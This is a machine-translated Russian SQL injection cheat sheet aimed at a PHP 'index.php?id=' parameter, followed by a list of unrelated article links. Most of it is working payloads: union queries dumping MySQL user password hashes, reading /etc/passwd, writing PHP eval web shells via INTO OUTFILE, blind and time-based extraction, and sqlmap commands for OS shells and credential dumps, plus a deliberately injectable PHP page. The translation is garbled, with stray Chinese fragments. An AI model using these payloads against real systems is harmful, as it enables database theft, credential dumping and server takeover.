# Определите размер разрешений: Если результат возвращается нормально, это означает, что у вас есть права на чтение и запись. Если возвращается ошибка, администратор должен предоставить базу. данные аккаунта понижены.
index.php?id=1' and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# Запросите пароль управления: Запросите пароль управления MySQL. Предупреждающий знак в конце # здесь означает символ комментария, указывающий, что все, что следует за ним, является комментарием.
index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+                // Версии до 5.6
index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7 и более поздние версии

# -----------------------------------------------------------------------------------
# Напишите предложение на основной сайт: Можно написать бэкдор, состоящий из одного предложения, но каталог должен иметь разрешения на чтение, запись и выполнение в системе Linux.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+

# -----------------------------------------------------------------------------------
# Используйте движок MySQL, чтобы написать предложение: Используя механизм хранения MySQL, напишите предложение как MySQL
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');

# -----------------------------------------------------------------------------------
# Часто используемые операторы оценки: Ниже приведены некоторые часто используемые операторы запроса на внедрение, включая конфиденциальные операции, такие как запрос имен хостов.
index.php?id=1' union select 1,1,load_file("/etc/passwd")       // Загрузить указанный файл
index.php?id=1' union select 1,1,@@datadir                      // суждениебаза данных目录
index.php?id=1' union select 1,1,@@basedir                      // Определите корневой путь установки
index.php?id=1' union select 1,1,@@hostname                     // Определить имя хоста
index.php?id=1' union select 1,1,@@version                      // суждениебаза данных Версия
index.php?id=1' union select 1,1,@@version_compile_os           // Определить тип системы (Linux)
index.php?id=1' union select 1,1,@@version_compile_machine      // Архитектура системы судейства (x86)
index.php?id=1' union select 1,1,user()                         // Разоблачение пользователей системы
index.php?id=1' union select 1,1,database()                     // Выставить текущую базу данных

◆Количество столбцов решения◆

Union Поля запроса: Объединение можно использовать для одного или нескольких наборов результатов SELECT.,Но у него есть состояние,То есть два оператора запроса выбора должны иметь одинаковые столбцы, прежде чем они смогут быть выполнены.,Используя эту функцию, мы можем выполнять сравнительные запросы,То есть, когда мыunion select的列与它Запрос的列相同час,Страница возвращается в нормальное состояние,исуществоватьandдобавить после1=1 или 1=2Функция будет рассмотрена позже.

а. Прежде всего, мы предполагаем, что когда текущее количество полей равно 4, страница вернет ошибку, а это значит, что количество полей таблицы должно быть больше 4.

Язык кода:javascript
копировать
index.php?id=1' and 1=1 union select 1,2,3,4 --+

б. На основании вышеизложенного добавляем поле. При запросе 1, 2, 3, 4, 5 страница отображается нормально, что указывает на то, что структура таблицы имеет 5 полей.

Язык кода:javascript
копировать
index.php?id=1' and 1=1 union select 1,2,3,4,5 --+
index.php?id=1' and 1=1 union select null,null,null,null,null --+

Order ByПоля запроса: существоватьSQLОператор предназначен для сортировки указанного столбца набора результатов.,比如нас想让结果集按照第一列排序就是order by 1Сортировать по второму столбцуorder by 2И так далее,По этому принципу определяем количество полей,如果нас Сортировать по столбцу 1база данные вернутся нормально, но когда будем сортировать по столбцу 100, т.к. база В данных не существует 100-го столбца, поэтому сообщается об ошибке или невозможно нормально отобразить.

а. Сначала мы догадались, что в базе данных 6 полей. Мы попытались выполнить сортировку по строке 6 и обнаружили, что данные не могут быть отображены, что указывает на то, что их меньше 6.

Язык кода:javascript
копировать
index.php?id=1' and 1=1 order by 6 --+

б. Приведенный выше запрос не дает никаких результатов. Мы запрашиваем 6 полей без возвращаемого значения. Это означает, что в таблице меньше 6 полей. Мы продолжаем использовать 5 тестов, и в настоящее время возвращаются результаты.

Язык кода:javascript
копировать
index.php?id=1' and 1=1 order by 5 --+

Большинство программ вызывают только первый оператор запроса к базе данных, а затем возвращают данные, запрошенные с помощью совместного запроса, данные, которые мы хотим увидеть, находятся во втором операторе. Если мы хотим увидеть то, что хотим, их два. методы для данных. Первый — вернуть false первому фрагменту данных, а второй — напрямую вернуть нужные данные с помощью операторов SQL.

Первый: мы делаем результат первого запроса всегда ложным,Используяand 0осознать,Маркировка ниже будет чистой.

Язык кода:javascript
копировать
index.php?id=1' and 0 union select null,null,null,null,null --+

Второй тип: через оператор limit лимит используется для подкачки в mysql, с помощью которой мы можем получить нужные нам данные из запрошенных данных.

Язык кода:javascript
копировать
index.php?id=1' union select null,null,null,null,null limit 1,1 --+

◆Поля базы данных и таблиц запросов◆

Проверьте все имена баз данных: MySQLПо умолчанию все данные таблицы помещаются вinformation_schema.schemata这个表середина进行存储,Мы можем запросить данные в этой таблице, чтобы найти все имена баз данных в текущей системе.

Язык кода:javascript
копировать
index.php?id=1' and 0 union select 1,1,database(),1,1 --+        // Найти текущую библиотеку

# -----------------------------------------------------------------------------------
# под контролем limit 0,1,2,3...., можно получить указанное количество баз данныхимясказать.

index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

Имя в таблице запроса: Используяgroup_concat可以返回Запрос的所有结果,Потому что нам нужно определить нужные нам конфиденциальные данные посредством именования.

Язык кода:javascript
копировать
index.php?id=1' and 0 union select 1,2,group_concat(table_name),4,5
> from information_schema.tables where table_schema='lyshark' --+                  // проверятьlysharkбиблиотекаимя таблицысказать

index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 0,1 --+        // проверятьlysharkбиблиотекаимя таблицысказать

index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 1,1 --+        // проверятьlysharkбиблиотекаимя таблицысказать

Поля в таблице запроса: Используяtable_schemaиtable_name指定Запрос条件,Вы можете запросить поля и данные в таблице.

Язык кода:javascript
копировать
# -----------------------------------------------------------------------------------
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
>              from information_schema.columns
>              where table_schema='lyshark' and table_name='lyshark' --+

# -----------------------------------------------------------------------------------
# Вы также можете просмотреть поля в пользовательской таблице библиотеки MySQL и выполнить запрос.
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
>              from information_schema.columns
>              where table_schema='mysql' and table_name='user' --+

index.php?id=1' and 0 union select 1,1,column_name,4,5
>              from information_schema.columns
>              where table_schema='mysql' and table_name='user' limit 0,1 --+

Запросите данные в таблице: Чтобы запросить данные в таблице, мы можем использовать следующие три метода запроса.

Язык кода:javascript
копировать
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+   // Опрос первого пользователя
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+   // Запрос второго пользователя
index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

Как использовать слепую инъекцию: Во-первых, вам нужно просто изменить приведенный выше исходный код, удалить поле эха, а затем изменить следующий код.

Язык кода:javascript
копировать
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="gbk">
    <title>SQL инъекция测试代码</title>
</head>
        <?php
        $connect = mysqli_connect("localhost","root","123","lyshark");
        if($connect)
        {
                $id = $_GET['id'];
                if(isset($id))
                {
                        $sql = "select * from users where id='$id' limit 0,1";
                        $query = mysqli_query($connect,$sql);
                        $row = mysqli_fetch_array($query);
                        if(!empty($row))
                        {
                                print("Запрос завершен..");
                        }else
                        {
                                print("Ошибка запроса");
                        }
                }
        }
        ?>
<body>
        <?php echo '<hr><b> Бэкэнд выполняет операторы SQL:  </b>' . $sql;  ?>
</body>
</html>

Угадайте имя базы данных: «Слепое внедрение» означает, что программа вернет два состояния: успех запроса и неудачу запроса. Нам нужно самостоятельно сконструировать условия оценки. Обычно используются следующие утверждения.

Язык кода:javascript
копировать
index.php?id=1' and left(version(),1)=5 --+            // Возвращается в нормальное состояние, указывая, что номер версии равен 5.
index.php?id=1' and (length(database()))=7 --+         // Вернитесь в нормальное состояние, объясните базу Длина имени данных равна 7

index.php?id=1' and (left(database(),1))='l' --+       // Вернитесь в нормальное состояние, объясните базу Первая цифра данных — l
index.php?id=1' and (left(database(),2))='ly' --+      // Вернитесь в нормальное состояние, объясните базу Первые две цифры данных — ly и так далее.

index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+  // Проверьте, является ли первая цифра l
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // Проверяем, равна ли вторая цифра y,и так далее

Угадайте название таблицы:Если веб-страница возвращается нормально, это означает, что эта таблица существует. Если веб-страница возвращается ненормально, это означает, что она не существует.

Язык кода:javascript
копировать
index.php?id=1' and (select count(*) from mysql.user) >=0     // Таблица mysql.user существует.
index.php?id=1' and (select count(*) from lyshark) >=0        // Таблица Lyshark существует

Угадайте поле: если веб-страница возвращается нормально, это означает, что есть угаданное поле. Если оно ненормальное, вам нужно продолжить угадывание.

Язык кода:javascript
копировать
index.php?id=1' and (select count(id) from users) >=0       // Вернитесь к нормальному состоянию, указав, что поле id существует.
index.php?id=1' and (select count(name) from users) >=0     // Возврат ненормальный, и поле имени не существует.
index.php?id=1' and (select count(*) from lyshark) >=3 #--   // Возвращает количество записей в таблице

Подбор имени пользователя: Обнаружение нескольких указанных пользователей также может быть выполнено с помощью обычных символов. Использование других функций такое же.

Язык кода:javascript
копировать
index.php?id=1' and (length(user())) >=14 #                // Угадай базу длина имени пользователя
index.php?id=1' and (select user() like 'root%') #         // угадай имя пользователя
index.php?id=1' and (select user() regexp '^[a-z]') #      // Угадай начало от А до Я
index.php?id=1' and (select user() regexp '^r') #          // Первый из них - р.
index.php?id=1' and (select user() regexp '^ro') #         // Вторая цифра — о.
index.php?id=1' and (select user() regexp '^root') #       // и так далеепредполагатьчетверка лучших

Отсроченная инъекция: проходитьsleep(5)Метод задержки,Мы также можем определить, есть ли точка инъекции.

Язык кода:javascript
копировать
index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 #                       // Если полей 3, будет задержка 5 секунд.
index.php?id=1' and select if(length(user())=0,sleep(3),1) #    //Если user=0, задержка 3 секунды
index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) #   // Первый символ = d, далее задержка 3 секунды.
index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) #   // Второй символ = v задержится на 3 секунды.

◆команда sqlmap◆

Обычно используется Команда обнаружения:

Язык кода:javascript
копировать
sqlmap -u "./index.php?id=1" -v 3                   # Показать полезную нагрузку атаки
sqlmap -u "./index.php?id=1" --level=3              # Укажите уровень обнаружения
sqlmap -u "./index.php?id=1" --privileges           # Проверьте все права пользователя
sqlmap -u "./index.php?id=1" --privileges root      # Проверьте права root-пользователя
sqlmap -u "./index.php?id=1" --all                  # Искать по всей базе данных
sqlmap -u "./index.php?id=1" --hostname             # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --is-dba               # Определить root-права
sqlmap -u "./index.php?id=1" --users                # база перечисления данныхпользователь
sqlmap -u "./index.php?id=1" --random-agent         # Случайный пользовательский агент
sqlmap -u "./index.php?id=1" --output-dir=""        # Пользовательский выходной каталог
sqlmap -u "./index.php?id=1" --file-read=""         # прочитать файл
sqlmap -u "./index.php?id=1" --file-write=""        # операция записи
sqlmap -u "./index.php?id=1" --os-cmd="net user"    # выполнить команду
sqlmap -u "./index.php?id=1" --os-shell             # Интерактивное выполнение команд
sqlmap -u "./index.php?id=1" --sql-query=""         # Оператор SQL выполнен
sqlmap -u "./index.php?id=1" --cookie=""            # Указанный файл cookie
sqlmap -u "./index.php?id=1" --temper=""            # Укажите скрипт фильтра
sqlmap -u "./index.php?id=1" --dbs --delay 1        # Ввести после задержки в 1 секунду
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3    # Ввести после задержки в 3 секунды.

sqlmap -u "./index.php?id=1" --identify-waf                  # Проверьте, есть ли WAF
sqlmap -u "./index.php?id=1" --current-db                    # Запросить текущую базу данных
sqlmap -u "./index.php?id=1" --current-user                  # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --users                         # Запросить все имена пользователей
sqlmap -u "./index.php?id=1" --dbs                           # Перечислить все базы данных
sqlmap -u "./index.php?id=1" --tables                        # Перечислить все таблицы

sqlmap -u "./index.php?id=1" -D "mysql" --tables             # Получить таблицу в библиотеке MySQL.
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # Получить имя столбца таблицы mysql.host
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # Сохраните mysql.host на локальном компьютере.
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # Сними все штаны
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Внедрение файлов cookie: 当level>=2час,Используйте внедрение файлов cookie,level >=3 Внедрить с помощью User-agent/Referer.

Язык кода:javascript
копировать
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #Определяем точку инъекции
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #Предполагатьбаза данныхимя
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #угадай имя таблицы
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --level 2        #угадай поле
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --dump --level 2 #угадай контент

ПОСТ-инъекция: Этот метод обычно заключается в использовании инструмента захвата пакетов для захвата пакета данных, а затем в указании полей для тестирования.

Язык кода:javascript
копировать
1. Откройте целевой адрес в браузере. http://www.xxx.com/index.php
2. Настройте прокси-сервер Burp (127.0.0.1:8080). Будьте готовы перехватывать запросы
3. Нажмите кнопку «Отправить» в форме войти., или можно использовать другие кнопки
4. В это время Burp перехватит наш POST-запрос на вход в систему.
5. Преобразуйте этот запрос на публикацию скопировать в txt и запишите содержимое. id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose